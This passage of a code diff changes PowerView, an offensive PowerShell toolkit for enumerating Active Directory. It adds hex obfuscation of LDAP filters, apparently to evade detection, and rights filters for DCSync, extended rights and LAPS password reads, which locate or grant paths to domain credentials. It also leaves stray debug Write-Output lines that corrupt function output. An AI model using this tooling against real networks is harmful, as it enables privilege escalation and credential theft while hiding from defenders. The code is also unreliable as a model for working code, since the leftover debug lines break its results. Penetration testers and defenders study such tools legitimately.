$SearcherArguments['Domain'] = $IdentityDomain - $ObjectSearcher = Get-DomainSearcher @SearcherArguments - if (-not $ObjectSearcher) { - Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + Write-Output "$GuidByteString" + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + if ($Filter -and $Filter -ne '') { + $SearcherArguments['LDAPFilter'] = "(&$Filter)" + } + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($Filter)" + + $Results = Invoke-LDAPQuery @SearcherArguments + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values } } } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - elseif ($IdentityInstance.Contains('\')) { - $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical - if ($ConvertedIdentityInstance) { - $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) - $ObjectName = $IdentityInstance.Split('\')[1] - $IdentityFilter += "(samAccountName=$ObjectName)" - $SearcherArguments['Domain'] = $ObjectDomain - Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" - $ObjectSearcher = Get-DomainSearcher @SearcherArguments - } - } - elseif ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" - } else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + $Prop = $_.Properties } - } - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" - } - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" + $Object = Convert-LDAPProperty -Properties $Prop + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') } - - # build the LDAP filter for the dynamic UAC filter value - $UACFilter | Where-Object {$_} | ForEach-Object { - if ($_ -match 'NOT_.*') { - $UACField = $_.Substring(4) - $UACValue = [Int]($UACEnum::$UACField) - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" - } - else { - $UACValue = [Int]($UACEnum::$_) - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" - } + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" } - - if ($Filter -and $Filter -ne '') { - $ObjectSearcher.filter = "(&$Filter)" - } - Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" - - if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } - else { $Results = $ObjectSearcher.FindAll() } - $Results | Where-Object {$_} | ForEach-Object { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $Object = $_ - $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') - } - else { - $Object = Convert-LDAPProperty -Properties $_.Properties - $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') - } - $Object - } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" - } - } - $ObjectSearcher.dispose() } } } @@ -8025,6 +8501,14 @@ Switch. Specifies that the searcher should also return deleted/tombstoned object A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs @@ -8074,7 +8558,7 @@ Custom PSObject with ACL entries. [String] [Alias('Rights')] - [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended', 'ReadLAPS')] $RightsFilter, [ValidateNotNullOrEmpty()] @@ -8113,7 +8597,13 @@ Custom PSObject with ACL entries. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -8135,6 +8625,8 @@ Custom PSObject with ACL entries. if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $Searcher = Get-DomainSearcher @SearcherArguments $DomainGUIDMapArguments = @{} @@ -8143,6 +8635,7 @@ Custom PSObject with ACL entries. if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $DomainGUIDMapArguments['SSL'] = $SSL } # get a GUID -> name mapping if ($PSBoundParameters['ResolveGUIDs']) { @@ -8194,13 +8687,36 @@ Custom PSObject with ACL entries. } if ($Filter) { - $Searcher.filter = "(&$Filter)" + $Filter = "(&$Filter)" } - Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" + Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Filter)" - $Results = $Searcher.FindAll() + #$Results = $Searcher.FindAll() + if ($Filter -and $Filter -ne '') { + $SearcherArguments['LDAPFilter'] = "$Filter" + } + $Results = Invoke-LDAPQuery @SearcherArguments $Results | Where-Object {$_} | ForEach-Object { - $Object = $_.Properties + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Object = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + Write-Output "TEST: $a" + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor')) { + $Object[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Object[$a] = $Values + } + } + } + else { + $Object = $_.Properties + } + if ($Object.objectsid -and $Object.objectsid[0]) { $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value @@ -8210,27 +8726,40 @@ Custom PSObject with ACL entries. } try { - New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + $SecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 + $SecurityDescriptor | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { + $Continue = $False + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) if ($PSBoundParameters['RightsFilter']) { $GuidFilter = Switch ($RightsFilter) { - 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } - 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + 'ResetPassword' { @('00299570-246d-11d0-a768-00aa006e0529') } + 'WriteMembers' { @('bf9679c0-0de6-11d0-a285-00aa003049e2') } + 'DCSync' { @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', 'GenericAll', 'ExtendedRight') } + 'AllExtended' { 'ExtendedRight' } + 'ReadLAPS' { @('ExtendedRight', 'GenericAll', 'WriteDacl') } + 'All' { 'GenericAll' } Default { '00000000-0000-0000-0000-000000000000' } } - if ($_.ObjectType -eq $GuidFilter) { - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] - $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + if ($_.AceQualifier -eq 'AccessAllowed' -and (($_.ObjectAceType -and $GuidFilter -contains $_.ObjectAceType) -or ($_.InheritedObjectAceType -and $GuidFilter -contains $_.InheritedObjectAceType))) { $Continue = $True } + elseif ($_.AceQualifier -eq 'AccessAllowed' -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType) -and (($_.ActiveDirectoryRights -match $GuidFilter) -or ($GuidFilter -contains $_.ActiveDirectoryRights))) { + $Continue = $True + } + elseif (($_.AceQualifier -eq 'AccessAllowed') -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType)) { + ForEach ($Guid in $GuidFilter) { + if ($_.ActiveDirectoryRights -match $Guid) { + $Continue = $True + } + } + } } else { - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] - $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid $Continue = $True } - if ($Continue) { - $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) if ($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table $AclProperties = @{} @@ -8490,7 +9019,7 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, - [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended')] [String] $Rights = 'All', @@ -8554,6 +9083,7 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + 'AllExtended' { 'ExtendedRight' } } } @@ -8563,13 +9093,17 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) - if ($GUIDs) { + if ($GUIDs -and !($GUIDs -eq 'ExtendedRight')) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } + elseif ($GUIDs -eq 'ExtendedRight') { + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' @@ -9995,6 +10529,14 @@ Specifies an Active Directory server (domain controller) to bind to. A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainSID @@ -10031,7 +10573,13 @@ A string representing the specified domain SID. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) $SearcherArguments = @{ @@ -10040,6 +10588,8 @@ A string representing the specified domain SID. if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid @@ -10152,6 +10702,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainGroup | select samaccountname @@ -10319,7 +10877,13 @@ Custom PSObject with translated group property fields. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -10334,145 +10898,160 @@ Custom PSObject with translated group property fields. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $GroupSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } } PROCESS { - if ($GroupSearcher) { - if ($PSBoundParameters['MemberIdentity']) { + if ($PSBoundParameters['MemberIdentity']) { - if ($SearcherArguments['Properties']) { - $OldProperties = $SearcherArguments['Properties'] - } + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } - $SearcherArguments['Identity'] = $MemberIdentity - $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $MemberIdentity + $SearcherArguments['Raw'] = $True - Get-DomainObject @SearcherArguments | ForEach-Object { - # convert the user/group to a directory entry - $ObjectDirectoryEntry = $_.GetDirectoryEntry() + Get-DomainObject @SearcherArguments | ForEach-Object { + # convert the user/group to a directory entry + $ObjectDirectoryEntry = $_.GetDirectoryEntry() - # cause the cache to calculate the token groups for the user/group - $ObjectDirectoryEntry.RefreshCache('tokenGroups') + # cause the cache to calculate the token groups for the user/group + $ObjectDirectoryEntry.RefreshCache('tokenGroups') - $ObjectDirectoryEntry.TokenGroups | ForEach-Object { - # convert the token group sid - $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + $ObjectDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value - # ignore the built in groups - if ($GroupSid -notmatch '^S-1-5-32-.*') { - $SearcherArguments['Identity'] = $GroupSid - $SearcherArguments['Raw'] = $False - if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } - $Group = Get-DomainObject @SearcherArguments - if ($Group) { - $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') - $Group - } + # ignore the built in groups + if ($GroupSid -notmatch '^S-1-5-32-.*') { + $SearcherArguments['Identity'] = $GroupSid + $SearcherArguments['Raw'] = $False + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + $Group = Get-DomainObject @SearcherArguments + if ($Group) { + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group } } } } - else { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" + } } - elseif ($IdentityInstance -match '^CN=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $GroupSearcher = Get-DomainSearcher @SearcherArguments - if (-not $GroupSearcher) { - Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['GroupScope']) { + $GroupScopeValue = $PSBoundParameters['GroupScope'] + $Filter = Switch ($GroupScopeValue) { + 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } + 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } + 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } + 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } + 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } + 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" + } + if ($PSBoundParameters['GroupProperty']) { + $GroupPropertyValue = $PSBoundParameters['GroupProperty'] + $Filter = Switch ($GroupPropertyValue) { + 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } + 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } + 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } + 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $Filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroup] filter string: $($Filter)" + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter" + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Group = $_ + } + else { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values } } } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - elseif ($IdentityInstance.Contains('\')) { - $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical - if ($ConvertedIdentityInstance) { - $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) - $GroupName = $IdentityInstance.Split('\')[1] - $IdentityFilter += "(samAccountName=$GroupName)" - $SearcherArguments['Domain'] = $GroupDomain - Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" - $GroupSearcher = Get-DomainSearcher @SearcherArguments - } - } else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + $Prop = $_.Properties } - } - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" + $Group = Convert-LDAPProperty -Properties $Prop } - - if ($PSBoundParameters['AdminCount']) { - Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' - $Filter += '(admincount=1)' + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" } - if ($PSBoundParameters['GroupScope']) { - $GroupScopeValue = $PSBoundParameters['GroupScope'] - $Filter = Switch ($GroupScopeValue) { - 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } - 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } - 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } - 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } - 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } - 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } - } - Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" - } - if ($PSBoundParameters['GroupProperty']) { - $GroupPropertyValue = $PSBoundParameters['GroupProperty'] - $Filter = Switch ($GroupPropertyValue) { - 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } - 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } - 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } - 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } - } - Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" - } - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" - } - - $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" - Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" - - if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } - else { $Results = $GroupSearcher.FindAll() } - $Results | Where-Object {$_} | ForEach-Object { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $Group = $_ - } - else { - $Group = Convert-LDAPProperty -Properties $_.Properties - } - $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') - $Group - } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" - } - } - $GroupSearcher.dispose() } } } @@ -11669,7 +12248,8 @@ http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices- if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { - $ContextArguments['Identity'] = $Member + $ContextArguments['Identity'] = ($Member -split '\\')[1] + $ContextArguments['Domain'] = ($Member -split '\\')[0] $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity @@ -12807,6 +13387,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainGPO -Domain testlab.local @@ -12921,7 +13509,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -12936,218 +13530,233 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $GPOSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } } PROCESS { - if ($GPOSearcher) { - if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { - $GPOAdsPaths = @() - if ($SearcherArguments['Properties']) { - $OldProperties = $SearcherArguments['Properties'] - } - $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' - $TargetComputerName = $Null + if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { + $GPOAdsPaths = @() + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' + $TargetComputerName = $Null - if ($PSBoundParameters['ComputerIdentity']) { - $SearcherArguments['Identity'] = $ComputerIdentity - $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 - if(-not 